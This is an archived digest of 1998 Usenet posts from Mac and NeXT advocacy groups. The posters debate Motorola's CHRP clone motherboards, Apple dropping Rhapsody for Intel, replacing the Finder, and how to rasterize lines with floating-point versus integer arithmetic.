Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 22:42:41 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005982242410001@192.168.0.3>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net>
In article <joe.ragosta-2005982102190001@elk106.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
:In article <rex-2005981945290001@192.168.0.3>, rex@smallandmighty.com
:(Eric King) wrote:
:
:The fact of the matter is that the system Motorola showed last summer
:couldn't have been sold.
How do you know? Did you talk to any of the Motorola people? Even if
300MHz models were delayed a few months they almost certainly could have
shipped the 266MHz ones sooner than Apple.
The fact of the matter is Apple was lagging behind in motherboard
design, and their current motherboards *still* aren't as good as the
Motorola ones. Check out the May MacWorld for benchmarks. Motorola's
Starmax 6000/300 pulled in 5.6, Apple's new G3/300 pulled in 5.3. Pretty
good for some 'hacked together prototype motherboard' using a non-existent
chip...
At the very least Apple could have tried to license Motorola's or IBM's
CHRP motherboard designs for use in their own systems. Especially since
their current G3s have only 3 DIMM slots and 3 PCI slots, which just
aren't enough for a *lot* of power users.
:The 300 MHz G3 wasn't even announced until
:February of this year.
Yes, and your point is moot, because they were showing quite a few of
them running in August. Did you ever stop to think that perhaps Apple
asked them to delay the announcement since they knew it would be months
before they had their systems ready? Furthermore, even if the 300MHz ones
were in limited supply they still could have started shipping units with
slower chips. Overall, the Starmax 6000s were nicer designs than anything
Apple currently has to offer.
:Motorola and Power Computing were masters at this--preannouncing systems
:that couldn't be shipped for many months. I was on a waiting list for a
:PowerBase for months and cancelled it when they _still_ weren't shipping
:any systems.
My girlfriend was also on the waiting list. She ordered in
mid-September and received hers in mid-November. Yes, they were late. One
of PCC guys I talked to at the Expo said a lot of the delay was due to
them switching graphics chips. Yes, she had to wait a little longer, but
she did get 3D acceleration.
-Eric
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 21 May 1998 02:41:04 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6k0480$6ia@newsb.netnews.att.com>
References: <6jtt5c$q8k$1@news.cmc.net> <6jtu69$2ol$1@news12.ispnews.com>
Originator: gupta@tlctest
>From: Jordan Dea-Mattson >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
>fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
>Note the choice of words here: "PC Compatibles".
Yes. I see an Apple-Intel box with no floppy, no ISA bus, no parallel port,
none of the usual serial ports, no SCSI, only USB, and in some models,
Firewire, and faster,wider PCI. :-)
Maybe in a translucent case :-) Maybe something even more radical :-)
Not exactly a PC Compatible.
Microsoft, and Intel, in their PC96, PC97, PC98, etc. proposals have
been attempting to move PC hardware architecture forward. This has
not been with much effect. Apple, however, is in a position to do
exactly that. E.g. when will you find an Intel PC
with the total commitment to USB that is found in the iMac ? (Someone on
this newsgroup pointed this out, and I appreciate the point, I hadn't
thought about it.)
Now you good folks want Apple to be mired in the support
of legacy junk, by keeping a generic Rhapsody-for-Intel (interpreted
as Rhapsody for Intel PC-compatibles) around !!!!
No ! No ! No ! It simply doesn't make sense. Apple once again
has a chance to be the machine and OS for the industry to copy.
It can do so by dropping "legacy" as fast as its customers allow it.
iMac is an excellent start. It is not just an inexpensive consumer
machine, but a proof of concept for this idea.
-arun gupta
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 20:00:24 -0700
Message-ID: <see-below-2005982000250001@209.24.242.183>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <rex-2005982242410001@192.168.0.3>
In article <rex-2005982242410001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <joe.ragosta-2005982102190001@elk106.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> :In article <rex-2005981945290001@192.168.0.3>, rex@smallandmighty.com
> :(Eric King) wrote:
> :
> :The fact of the matter is that the system Motorola showed last summer
> :couldn't have been sold.
>
> How do you know? Did you talk to any of the Motorola people?
Yes, this is an interesting point, isn't it? Motorola, the company that
makes the chips, couldn't have mustered enough chips to ship this machine?
Ever wonder _why_ it took so long for them to ship 300+MHz PPC chips? I
certainly don't know, but it seemed to me they were a bit miffed at Apple
for closing them down (and IBM was too).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <EtACKs.M4o@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica
Date: Thu, 21 May 1998 02:35:37 GMT
Did you ever think that maybe because Motorola actually makes the chip that
they might be able to ship a motherboard quicker than Apple? How else are
they going to test the chip? Like Motorola is too incompetent to design a
motherboard to accompany their own CPU. Face it, Apple was running scared,
they were about to get beat at their own game, so, they squelched the
competition before it had a chance.
Apple likes having complete control of the hardware platform. That way they
can keep other OS vendors such as Be at bay. It's too bad, at least Be
doesn't change their strategy every other day. They even beat Apple to
market on the Intel platform. And Be is targetting the same customer base,
namely high end multimedia users. I wonder if this has anything to do with
Apple deciding not to support Rhapsody on Intel past version 1.0. I wonder
how this makes all those NextSTEP customer feel? Doesn't sound like they
have much of a migration plan. They'll probably all just switch to a vendor
with some credibility.
It's clear that CHRP wasn't in Apple's best interest.
It's too bad that they didn't open the platform up way back when when things
were getting started on the Intel side of things. Apple could potentially be
bigger than Intel and Microsoft combined, had that happened.
BTW, do you have anything better to do than to talk smack on this group all
day? I certainly hope you're not getting paid to this, or at least not by
anyone other than Apple.
Jon
--
To reply to me, please remove the _ from my email address.
Joe Ragosta wrote in message ...
>In article <rex-2005981945290001@192.168.0.3>, rex@smallandmighty.com
>(Eric King) wrote:
>
>> In article <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>,
>> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>>
>> : Furthermore, the cloners were doing terrible things to the market.
>> :They preannounced 300MHz G3s last summer to be available by the fall.
>> :Now, if I'm not mistaken PowerLogix uses the exact same card those
>> :machines were going to and they couldn't
>>
>> Wrong, Motorola's 300MHz G3s used their new CHRP motherboards, and
even
>> to this day no shipping Apple systems have hit their benchmark scores.
>> (Though they are finally getting pretty close...) The fact of the matter
>> is IBM and Motorola can design motherboards that run rings around Apple's
>> PowerMac designs.
>
>The fact of the matter is that the system Motorola showed last summer
>couldn't have been sold. The 300 MHz G3 wasn't even announced until
>February of this year.
>
>> IMO, things would have turned out better if Apple had declined to
>> design the motherboards for all PCI Macs and just let Motorola & IBM do
>> it. Everything 'Macish' that they wanted like ADB, geoports, etc. could
>> have been slapped on a PCI card. Apple would have saved a bundle on R&D
>> costs and we'd have much more balanced systems. The cloning situation
>> would probably have been healthier for Apple and the cloners also.
>>
>> : ship a G3 300 until early this
>> :year.
>>
>> Probably because Apple got first dibs on the chips, and the board
>> manufacturers could only afford to buy relatively few.
>
>Nope. Because the chips weren't even announced until February.
>
>Motorola and Power Computing were masters at this--preannouncing systems
>that couldn't be shipped for many months. I was on a waiting list for a
>PowerBase for months and cancelled it when they _still_ weren't shipping
>any systems.
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <355EDFB5.BDCB690B@milestonerdl.com> <see-below-1905981900280001@209.24.240.108> <35623C4D.1BC5B4BA@milestonerdl.com> <6jul7i$7gn@nrtphc11.bnr.ca> <cirby-2005981044210001@pm51-42.magicnet.net> <slrn6m6dss.tkj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Message-ID: <3563969c.0@news.depaul.edu>
Date: 21 May 98 02:51:08 GMT
In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
> On 20 May 1998 14:44:38 GMT, Chad Irby <cirby@magicnet.net> wrote:
> :Matthew Cromer <matthew_cromer@iname.com> wrote:
> :
> :> Apple has the good will of Microsoft to lose. That is not "very little".
> :
> :Yep. That there "Microsoft Good Will" is certainly worth a whole bunch,
> :you betcha.
> :
> :Like the "Good Will" they had toward Stac. Or Netscape.
> "good will" of microsoft isn't really "good will" it is only a
> "We will decide to kill other competitors before we get around to you."
> sort of "good will".
And sometimes companies favored by this 'good will' take it to
be more than it really is. And if they're not careful, they
wind up on Microsoft's Technology Casting Couch, like some
naive wanna-be starlet.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com> <35633A4A.674666DC@alumni.caltech.edu> <6jvpbd$62e$3@news.idiom.com>
Message-ID: <3563976c.0@news.depaul.edu>
Date: 21 May 98 02:54:36 GMT
In comp.sys.next.advocacy John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> William Edward Woody may or may not have said:
> -> There is an interesting footnote to all this, by the way. And that is
> -> that while there are those around here who may see Microsoft as being
> -> superior to Apple because Apple had to go out of house for expertise,
> -> they're forgetting that Microsoft went out of house _twice_, first to
> -> IBM, and then to the Digital engineers.
> How can anyone look at what MicroSquish ships, and infer any kind of
> superiority?
Um, numerical superiority? (In so many ways. Headcount. KLOC. Bugs. Etc.)
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net>
Message-ID: <35639860.0@news.depaul.edu>
Date: 21 May 98 02:58:40 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> The fact of the matter is that the system Motorola showed last summer
> couldn't have been sold. The 300 MHz G3 wasn't even announced until
> February of this year.
I wonder if the cloners ever sold up-clocked machines?
--
"... and subpoenas for all." - Ken Starr
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Wed, 20 May 1998 23:11:16 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005982311170001@192.168.0.3>
References: <rex-2005981857430001@192.168.0.3> <B188C7AE-B7424@206.165.43.97>
In article <B188C7AE-B7424@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
:Not really. The naive algorithm used to demonstrate the midpoint line
:algorithm in Foley and van Dam tests for sign-conversion.
Yes, but Maury was implying something along the lines of the really
naive algorithm listed earlier on, i.e. y = mx + b. In that algorithm
everything is floating-point up until that final writepixel.
: The actual *coordinate* would still be integer, of course,
Well, that's the crux of the problem, Maury wanted to use
floating-point everywhere. Remember one of his major gripes about GX was
the fact that its coordinate space is 'limited' to +-32767 x +-32767.
:but your conversion test would be done using fp,
:thereby allowing potential parallel processing between integer and floating
:point units since the coordinates are merely incremeted/decremented by one
:depending on the sign of "d" .
Quite true, and I believe this could speed it up on some PPCs. But most
PPCs now have multiple integer units, so its hard to say just how much of
a speed-up you'll see if any.
:involves shifts, but for more complex curves, the fp might well be faster.
It's a tough call. When you get down to this level, I think the largest
factor affecting performance is the quality of the compiler. I'm not
against hybrid FP/Integer algorithms, I'm just saying that for the cases
of line & spline rasterization, the improvement might not be all that
large on current PPCs. Wish I had a G3 to test this stuff out on :)
-Eric
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 19:31:56 -0700
Message-ID: <see-below-2005981931570001@209.24.242.183>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3>
In article <rex-2005981945290001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> : Furthermore, the cloners were doing terrible things to the market.
> :They preannounced 300MHz G3s last summer to be available by the fall.
> :Now, if I'm not mistaken PowerLogix uses the exact same card those
> :machines were going to and they couldn't
>
> Wrong, Motorola's 300MHz G3s used their new CHRP motherboards, and even
> to this day no shipping Apple systems have hit their benchmark scores.
> (Though they are finally getting pretty close...) The fact of the matter
> is IBM and Motorola can design motherboards that run rings around Apple's
> PowerMac designs.
And Gossamer broke ranks by using Motorola's Grackle memory controller,
wasn't it? That's why it has higher bus speeds than other Apple products.
> IMO, things would have turned out better if Apple had declined to
> design the motherboards for all PCI Macs and just let Motorola & IBM do
> it. Everything 'Macish' that they wanted like ADB, geoports, etc. could
> have been slapped on a PCI card. Apple would have saved a bundle on R&D
> costs and we'd have much more balanced systems. The cloning situation
> would probably have been healthier for Apple and the cloners also.
Would have been a good move, IMO.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <EtABG0.L64@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>
Date: Thu, 21 May 1998 02:11:10 GMT
The last I heard Apple wouldn't even give Be the details on the G3, so, they
couldn't port their OS to it. Doesn't sound like Apple is being to open to
me.
Jon
--
To reply to me, please remove the _ from my email address.
John Christie <*johnnyc*@or.psychology.dal.ca> wrote in message
<*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>...
>In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
><english@primenet.com> wrote:
>
>> As for the first point, this is beyond bogus. Motorola had machines ready
>> to ship based on CHRP. They were predicint a $1 billion/year revenue from
>> clone sales, mostly based on CHRP-projections, since that is what they
>> wanted to base all of their new models on. All other clone-makers were
>> wanting to ship CHRP as well since it would free them from paying
hardware
>> licensing fees to Apple.
>
> Well, one of the great promises of CHRP was that it was supposed to run
>a bunch of OSes. MacOS was to supposed to gain marketshare through the
>backdoor here. If CHRP really came to fruition how did little old Apple
>kill it? You would think that running NT, Solaris, and AIX would be
>plenty. Why isn't Motorola still selling these machines? Are you telling
>us that the MacOS was the most important OS for CHRP compared to NT?
> Apple was the LAST partner to drop CHRP. After everyone else dropped
>it why would they care.
> BTW, isn't the next generation Gossamer without a ROM and only open
>firmware announced at WWDC essentially what was desired for CHRP if none
>of the other OSes are important? No Apple ROM needed, reverse engineer to
>your hearts content.
>
>--
>You aren't free if you CAN choose - only if you DO choose.
>All you are is the decisions you make.
>Remove "*" and ohnny (i.e. jc@) to reply via email
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 19:39:15 -0700
Message-ID: <see-below-2005981939150001@209.24.242.183>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5> <rmcassid-2005981540580001@dante.eng.uci.edu>
In article <rmcassid-2005981540580001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
> >nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> >> I wonder if the Finder will be replaceable. (No reason why they
> >> couldn't make it that way, but they might not bother.) If so --
> >> third party opportunity for a superior Yellow Finder.
> >
> >Apple doesn't strike me as the kind of company that likes to give
> >up control of *anything* to anyone. I could be, and hope I'm, wrong.
>
> Uh, the Finder is *currently* replacable, I believe. There is even a
> number of APIs to help you do it, has been for some years. I don't know of
> anyone that has bothered, however as the Finder delivers considerable
> functionality that would take a lot of effort to undo.
>
> For a *really* fun Finder replacement, you should be able to boot straight
> into Virtual PC and mount your MacOS drive as a D: drive via folder
> sharing. It only allows you access to your data, not any ability to launch
> apps. But you really don't need the Finder for that either.
You can already do this easily. I think you just put VirtualPC (or any
other program, for that matter) in you System Folder and change its name
to "Finder."
But I think most everyone would agree that it's not really a suitable
replacement! ;-)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 21:17:46 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <35633073.0@206.25.228.5> <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us> <rmcassid-2005981542230001@dante.eng.uci.edu>
In article <rmcassid-2005981542230001@dante.eng.uci.edu>, rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> >Anyone want to start a replaceable Finder campaign? :)
> Anyone bother to try doing that now?
What, start a campaign, or write a Finder replacement?
(I bet that if Apple doesn't produce a Yellow Finder but makes the
Finder replaceable, then GNUstep will produce one.. they'd be able to
use it too, with a few OS dependencies abstracted out.)
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 23:36:58 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2005982337000001@192.168.0.3>
References: <joe.ragosta-2005981532310001@wil105.dol.net> <B1889C05-1320C@206.165.43.97> <joe.ragosta-2005982113060001@elk106.dol.net>
In article <joe.ragosta-2005982113060001@elk106.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
:Microsoft, IBM, Novell, and Sun all dropped their CHRP OSs before Apple.
Agreed?
No. AIX was a CHRP OS and it's still shipping. IBM's Long Trail
motherboard design is eerily similar to their low-end RS/6000s. They share
a *lot* of common features.
:So, Apple was the only vendor left making an OS that ran on CHRP. They
:were the last to drop it. Right?
Wrong. PIOS is still working on their CHRP PPC boxes and they're still
planning on having the BeOS run on them. CHRP as a marketing tool is dead,
some folks are still fiddling with the technology.
-Eric
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 19:27:46 -0700
Message-ID: <see-below-2005981927460001@209.24.242.183>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu> <joe.ragosta-1905980757210001@wil104.dol.net> <see-below-1905981826320001@209.24.240.108> <ericb-2005981946550001@132.236.171.104>
In article <ericb-2005981946550001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <see-below-1905981826320001@209.24.240.108>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > I agree. It appears you (and others who have maintained this for the last
> > few days) are right about Rhapsody for Intel. I also think this is a
> > mistake - a _big_ one. Apple has everything to gain and very little to
> > lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
>
> So does this make the questions about continued YB/Windows support look
> any less loony to you guys? Do you see why I want a clear public
> statement from Apple that they aren't dropping it?
I do agree, at least in the long run. I think we all assumed
Rhapsody/Intel was a given, too, until it got dropped. I don't think
YB/Windows is imperiled any time soon, but come next year, who knows?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 03:12:16 GMT
Organization: I don't think so
Message-ID: <slrn6m774a.dai.jason@jhste1.dyn.ml.org>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu>
Jonathan W Hendry posted the following to comp.sys.mac.advocacy:
>In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>> The fact of the matter is that the system Motorola showed last summer
>> couldn't have been sold. The 300 MHz G3 wasn't even announced until
>> February of this year.
>I wonder if the cloners ever sold up-clocked machines?
I can't believe that Joe is still advancing this argument. This is
Motorola, as in "Motorola PowerPC." Those guys. I'd think that if
they said they had a 300 MHz machine, they had a 300 MHz machine.
Period. Despite what Joe might like to think.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 20:18:29 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005982018300001@dialin9043.slip.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net> <tbrown-1905982250120001@mv163.axom.com> <6ju999$7vp$3@ns3.vrx.net> <markeaton-2005981930520001@user-38ld60e.dialup.mindspring.com>
In article
<markeaton-2005981930520001@user-38ld60e.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> The Finder in MacOS X will be based on Carbon. *All* Carbon apps run in
> their own protected address space and are scheduled preemptively against
> other processes.
>
> What was the question?
I'd actually be more concerned with it's threading properties as Carbon
apps won't be preemptively threaded. Granted its not a huge issue
considering we had a not at all threaded Finder only a year ago, but since
Steve is so big on best-of-breed, that would seem to be a desirable
element for a nicely functioning SMP system.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 20:23:38 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005982023390001@dialin9043.slip.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <35633073.0@206.25.228.5> <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us> <rmcassid-2005981542230001@dante.eng.uci.edu> <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us>
In article <6jvvbq$3dc$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <rmcassid-2005981542230001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> > In article <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > >Anyone want to start a replaceable Finder campaign? :)
>
> > Anyone bother to try doing that now?
>
> What, start a campaign, or write a Finder replacement?
>
> (I bet that if Apple doesn't produce a Yellow Finder but makes the
> Finder replaceable, then GNUstep will produce one.. they'd be able to
> use it too, with a few OS dependencies abstracted out.)
Write a Finder replacement. Even what Rhapsody has now is nothing more
than an app with some special permissions, right? And if the MacOS Finder
